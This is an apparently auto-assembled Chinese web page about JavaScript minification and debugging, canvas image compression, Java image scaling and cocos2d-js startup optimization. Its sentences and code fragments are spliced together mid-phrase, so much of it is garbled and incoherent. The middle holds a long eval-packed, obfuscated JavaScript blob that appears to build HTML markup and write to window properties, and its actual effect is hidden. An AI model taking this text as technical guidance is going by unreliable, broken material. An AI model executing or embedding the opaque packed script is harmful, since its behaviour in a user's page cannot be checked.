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js压缩工具 js压缩文件夹

怎么用webstorm解压缩js代码

问题还是循环次数还是过多,计算频率太高。从图中可看出,对于大图来说,初始设定的ll和尺寸过于宽松,可以优化一下初始ll和尺寸。

使用这个库里面有个方法compressAccuray,这个方法可以比较精准地压缩。偷偷翻了一下源码。神器webstorm调试nodejs

js压缩工具 js压缩文件夹js压缩工具 js压缩文件夹


还在终端敲解密后,不太和谐命令,定位到文件夹然后node

xxx.js?

你out了。现在我们有更好的调试nodejs方式为什么不去使用呢,只需要一个快捷键而已。ws本身对nodejs有良好的支持,利用ws开发调试nodejs生活将变得很轻松

如何把压缩的min.js文件格式化

ScriptingCore::runScript主要在读取js代码、编译然后执行。这里有几个优化的方法:

去搜个在线的js压缩/美化的网站,把你的min.js扔进去,做个美化或者解压缩就能看出来了

上面的方法有个问题,就是改变了的原始长宽。如果一个图的长宽足够大,压缩质量,糊一点但是内容看得清也是ok的嘛。所以,跟上面同理,我们可以不断调整的质量设定直到大小合适,那么,如何在上传之前知道的大小呢?

不过你可以写个空的html,把这个js挂上,用Firefox或者chrome打开这个html,F12,Sources中找到打开这个if (!''.replace(/^/, String)) {js,然后点这个“{}”之后就是格式化过的

webpack打包后的js怎么调试

ja要实现把一个大压缩到指定大小的且长宽比不变可以尝试以下作:

使用webpack-dev-server、使用SourceMaps。

原理很简单,就是靠不断地缩小限定的宽高,直到最终长宽的积小于规定的大小。

1、使用webpack-dev-server:提供了一个内建的,可以提供源代码映射,以及一个简单的GUI界面来显示你的应用。使用它,你可以直接在浏览器中打开你的应用,并在开发者工具中进行调试。

2、使用SourceMaps:Webpack提供了sourcemap的功能,它可以帮助开发者在浏览器的开发者工具中查看到未压缩前的源代码。你主要用了两个html5的API,一个file,一个canvas,压缩主要使用cnas做的,file是读取文件,之后把压缩好的照片放入内存,内存转入表单下,随着表单提交。需要确保在webpack的配置文件中启用了devtool属性。

js怎么解密,js解密工具js怎么查看这些代码麻烦给解决一下

(2劣势:生成体积就比较大了,不利于并行加载

这段代码eval压缩过了,不过解压函数被破坏了,加密信息完整

(2劣势:太多、太大(大于2KB)的话就不好玩了,好high长的字符串

修复后可以eval解压的。

eval解压工具

修复后的为

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('B i$=["\\p\\s\\m\\p\

var _$ = [}]; "[w][d][a][d][c]", "

eval(function(p, a, c, k, e, d) {

e = function(c) {

return (c35 ? String.fromCharCode(c + 29) : c.toString(36))

};

while (c--) d[e(c)] = k[c] || e(c);

k = [function(e) {

return d[e]

return '\\w+'

};

c = 1;

};

while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);

return p;

} ('B i$=["\\p\\s\\m\\p\

\\m\\p\\j\\m\\p\

\\m\\p\\o\\m","\\1d\

\\\F\\1e\\D\\D","\\p\\s\\m","\\s\\s\\s","\\p\

\\m","\\M","\\p\\j\\m","\\G\\G\\Q\\L\\N","\\p\\o\\m","\\o\\u\\k","\\C\\w\\h\\j\\k\\a\\t\\a\

\\l\\h\\u\\s\\t\\v\\"\\17\\z\\z\\19\\1i\\1k\\"\\l\\w\\h\\j\\k\\a\\H\\u\\h\

\\a\\h\\v\\"\\1m\\E\\"\\l\\H\\u\\h\

\\a\\h\\v\\"\\z\\"\\l\\w\\h\\j\\k\\a\\t\\F\\j\\o\\x\\q\\J\\v\\"\\z\\"\\A\\C\\w\\h\\j\\k\\a\\l\\q\\j\\k\\a\\v\\"\\k\\j\\x\\q\\"\\l\\t\\h\\o\\v\\"","\\"\\l\\t\\o\\h\\u\\y\\y\\x\\q\\J\\v\\1l\\a\\t\\A\\C\\D\\w\\h\\j\\k\\a\\t\\a\

\\A","\\K\\I\\T\\l\\R\\R\\Q\\L\\N\\M\\Z\\E\\W\\l\\X\\l\\Y\\V\\K\\I\\15\\16\\13\\14\\U"];B b=i$[0];B c=[i$[1],i$[2],i$[3],i$[4],i$[5],i$[6],i$[7],i$[8],i$[9],i$[10],i$[11]];b=c[O]+b;b=d(b,c[1j],c[1q]);b=d(b,c[1r],c[1p]);b=d(b,c[1n],c[1o]);b=d(b,c[1h],c[1a]);S["\

\\u\\o\\P\\k\\a\\q\

"]["\\s\\h\\x\

\\a\\G\\E\\w"](f)>=O){e=e["\\h\\a\\F\\y\\j\\o\\a"](f,g)};1c e};S["\

\\u\\o\\P\\k\\a\\q\

"]["\

\\x\

\\y\\a"]=i$[12];', 62, 90, '||||||||||x65|||||||x72|_|x61|x6d|x20|x5d|x74|x63|x5b|x6e|x64|x77|x73|x6f|x3d|x66|x69|x6c|x30|x3e|var|x3c|x2f|x4f|x70|x78|x62|u5f69|x67|u535a|x34|x2e|x35|0x0|x75|x33|x58|window|u901a|u7f51|u529b|x4d|x2d|u5b9e|x43||||u8bc4|u6d4b|u516c|u53f8|x31|0xa|x25|0x8|0x9|return|x68|x3a|function|while|0x7|x2c|0x1|x2a|x79|x4e|0x5|0x6|0x4|0x2|0x3'.split('|'), 0, {}))

js压缩到指定大小不变-ja如何实现把一个大压缩到指定大小的且长宽比不变?

转换矩阵,缩放比较简单(矩阵可以干很多事情,想做图像处理软件可以研究下)

js压缩到固定像素以内,500k为例

本文旨在探究js压缩的两种方式:

改变长宽

,改变质量

,和结合了(2劣势:自然需要支持了以上两者的

最终方案

。首先,阅读本文需要知道canvas的两个方法

这两个方法具体的说明可以在MDN上查看,关于压缩,也有很多现成的博客可以直接用。但是那些博客都有个问题,并没有关心之后的压缩质量。

我试着用一个现成的例子去跑了一下,一个1.7M的压缩到了23k,堪称像素级毁灭性破坏。

假如一张大图可能包含着很多文字等关键信息,必须上传之后使用方能清晰辨认。所以要压缩之后质量尽可能接近500k的。500k像素以内,就是若一张图宽度为1024,则高度不能超过500。因为有其他的信息,也是要占大小的。即不得大于

1024500

。所以,根据需求,上传不能超过500k的情况下尽可能保留的清晰度。当然如果可以的情况下用上面提到的设置压缩程度为0.9,0.8试试看,质量可以接受,大小会有大幅度的缩小。

如果不压缩,靠调整长宽去控制上传大小呢?

这种方法有可能得出的的大小会略大于规定大小,原因上文也提到过了,如果想使用这种方法,可自行再调整一下。

可以查阅文档,blob对象有个属性是size

这个size就是上传之后实际的文件大小。

关于的ll到底是怎么计算的,MDN文档里也没说,写了个循环一次减少0.1的ll压缩了几个

这里要注意的是,有可能遇到超大,0.1的ll可能不足以压缩到500k,所以小于0.1的时候,改变ll递减的值继续压缩下去

其实单纯的压缩质量遇到稍大的,会导致页面高频计算,然后页面基本就用不了了--。有尝试过用iphone的一个屏幕截图(10M左右),压的时候稍过一会,整个手机都在发烫,只能杀进程。

所以,若对长度没有特殊的限制,可以做一个缩放,去加快压缩的进度,提高能压缩的大小上限。

有的时候还会遇到一张无论如何也压不到500k,就是上一次和这次的压缩后大小没有变化,这种情况需要抛错,不让循环继续。

大的等待时间稍长,可以给用户先预览一个base64的增加等待耐心,方法名为getImgBase64,这里都一并给出了

解决的隐患:上面这个方案会出现我需要一个500k的照片,压到了520k之后,再压了一次。有时候这的一次会特别夸张,直接将弄到了几十k。

参考了:

其实上一个方案的痛点就在于,如何在每一个压缩循环里处理尺寸和压缩比例。

总结

如有纰漏,欢迎指正

建立一个AffineTransform

[x'][m00m01m02][x][m00x+m01y+m02]

a.c()、b.c() // 这样调用就行css 文件更加好办,在相同class名内,加一个css类名,覆盖相应的css样式就成但引入的文件都是第三方插件呀。我还需要进到他们提供的插件里去添加[1][001][1][1]

再建一个AffineTransformOp,把上面的转换传进去

AffineTransformOp(AffineTransformxform,intinterpolationType)

调用AffineTransformOp的BufferedImagefilter(BufferedImagesrc,BufferedImagedst),src传原,返回值就是想要的Image,注意是返回值,不是dst,不明白可以看下JaAPI

建立一个AffineTransform

[x'][m00m01m02][x][m00x+m01y+m02]

[1][001][1][1]

再建一个AffineTransformOp,把上面的转换传进去

AffineTransformOp(AffineTransformxform,intinterpolationType)

调用AffineTransformOp的BufferedImagefilter(BufferedImagesrc,BufferedImagedst),src传原,返回值就是想要的Image,注意是返回值,不是dst,不明白可以看下JaAPI

如何还原压缩过的css或Js文件,如下图

使用read方法把资源进行读取。读取之后可以使用jimp提供的API对做更多的作。

你有安装 chrome浏览器吗

页面到了ios上还是不行--,可以看到ll为0.001,最长边为764。

这个可以帮你完成这个效果

按F12 进入 so10倍比较难算(根号10啊,当然你想算也行),9倍好点(9的开方是3),m00为1/3,m01为0,m02为0,m10为0,m11为1/3,m12为0。urces 找到你压缩的文件

点击文件 进去看到的是压缩的代码

浏览器专业针对 CSS JS

步、在百度搜索“Css在线解压缩/整理/格式化“,可以找到很多解压缩美化css,js的工具

第二步、输入压缩的代码,点击”美化“即可

用有格式化功能的工具,eclipse、netbeans和Aptana 我用过,都可以格式化这些代码。shift + ctrl + F,快捷键格式化。

cocos2d.js 启动loading每次都要3s才能加载完,用户体验不好。求大神指点优化和解决方案。

AffineTransform(doublem00,doublem10,doublem01,doublem11,doublem02,doublem12)

优化前游戏在iPhInstruments的数据里可以看出有米广告的SDK居然用了1.3s载入,在5s上也需要200ms,干脆放到单独的线程里去做,这样不会block主线程(iPhone4还是单核的A4处理器,所以开多少线程都没有什么卵用,4s和iPad2之后用的至少是双核的A5,收效就很明显)。one 4上从启动画面到渲染帧需要8秒左右,一直卡在启动画面不动。分析了一下代码,怀疑AppDelegate::didFinishLaunchWithOptions里做了太多事情。用Instruments分析一下,果然didFinishLaunchWithOptions用了5s,其中ScriptingCore::runScript用了2.5s,向JSContext注入binding用了0.5s,剩下各种SDK初始化用了2s。优化方案

ScriptingCore::runScript

1. 将JS代码编译成bytecode(jsc)再打到包里,这样加载时就不用再编译了。

压缩打包JS会带来一些问题。压缩后错误信息会比较难看,因为symbol都被压成1个字母了。另一个更的问题是,我们有动态更新代码的需求,以前每次只需要更新改动的JS文件,打包成一个文件后每次都更新一整个文件。

并行化

dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^(void){

// 有米广告的初压缩始化代码

[CocoBVideo cBVideoInitWithAppID:appID cBVideoAppIDSecret:secret];

[CocoBVideo cBCloseAlertViewWhenWantExit:false];

});

使用compressorjs压缩提示The current browser does notsupport image compression?

1、进入HCJCompress。

`compressorjs` 是一个基于 JaScript 的压缩库,它使用浏览器原生的 Canvas API 来进行压缩。但是,并不是所有的浏览器都支持 Canvas API 中的压缩功能,因此在某些浏览器上,`compressorjs` 可能会提示 "The current browser does not support image compression"。

在开始接收到的时候给一个loading增加用户的耐心好了,loading万岁~

如果你遇到了这个问题,可以考虑使用其他的压缩库,例如 TinyPNG、Kraken、ImageOptim 等,它们提供了更广泛的浏览器兼容性。此外,如果你确定你的浏览器支持 Canvas API,但仍然遇到了问题,你可以尝试更新你的浏览器或清除浏览器缓存,以解决问题。

都可以,怎么放都不影响网站排名,你觉得怎么方便怎么来就行.....

js 压缩后的代码如何调试?

的方法是使用在线工具HCJCompress,不仅压缩HTML、CSS、JS,具有还原功能。

2、根据文件数量,增删输入窗口的数量。

4、压缩代码首先,需要知道的一点是,压缩之后拿到的ba1. 加速代码的执行速度se64字符串会转成blob对象,然后传给服务端。,保存带有调试辅助信息的源代码。

5、调试代码时,根据浏览器的提示代码错误位置,将错误位置输入到HCJ(1优势:减少的请求次数;当然字符串那么长可以放后台数据也可以使用类似node来构建(例如:(dir).toString(‘bse64’))Compress中,系统自动定位被压缩的代码的原始状态。

这种方法完美将代码还原到源代码中,根据上下文和注释,调试工作,应该顺利一些吧。

js压缩只是对js代码格式化,百度搜索 JS 压缩/解压工具,可以把压缩后对js代码格式化成便于阅读的代码。

webpack打包的CSS含有两个相同的引入?

用对2. 将JS代码用UglifyJS、JSMin等压缩工具压缩,并合并成一个JS文件,减少磁盘IO的大小和次数。象访问

例如:两个Js文件a.js与b.js,两\\a\\y\\q"](c[1b]+b+c[18]);1f d(e,f,g){1g(e["\\x\\q\个js文件都含有function c()

3、设置代码的类型。var a = {}

a.c = function(){ xxx }

var b = {}

b.c = function(){ xxx }调用的

时候就写:

var a = {}

a.c = function(){ xxx }

吗?!这样你没办法,只能去其中一个插件,将重名那个的方法名修改掉(插件内的方法都息息相关的,一定要注意,将涉及到这个方法的其它地方,方法名都改了)

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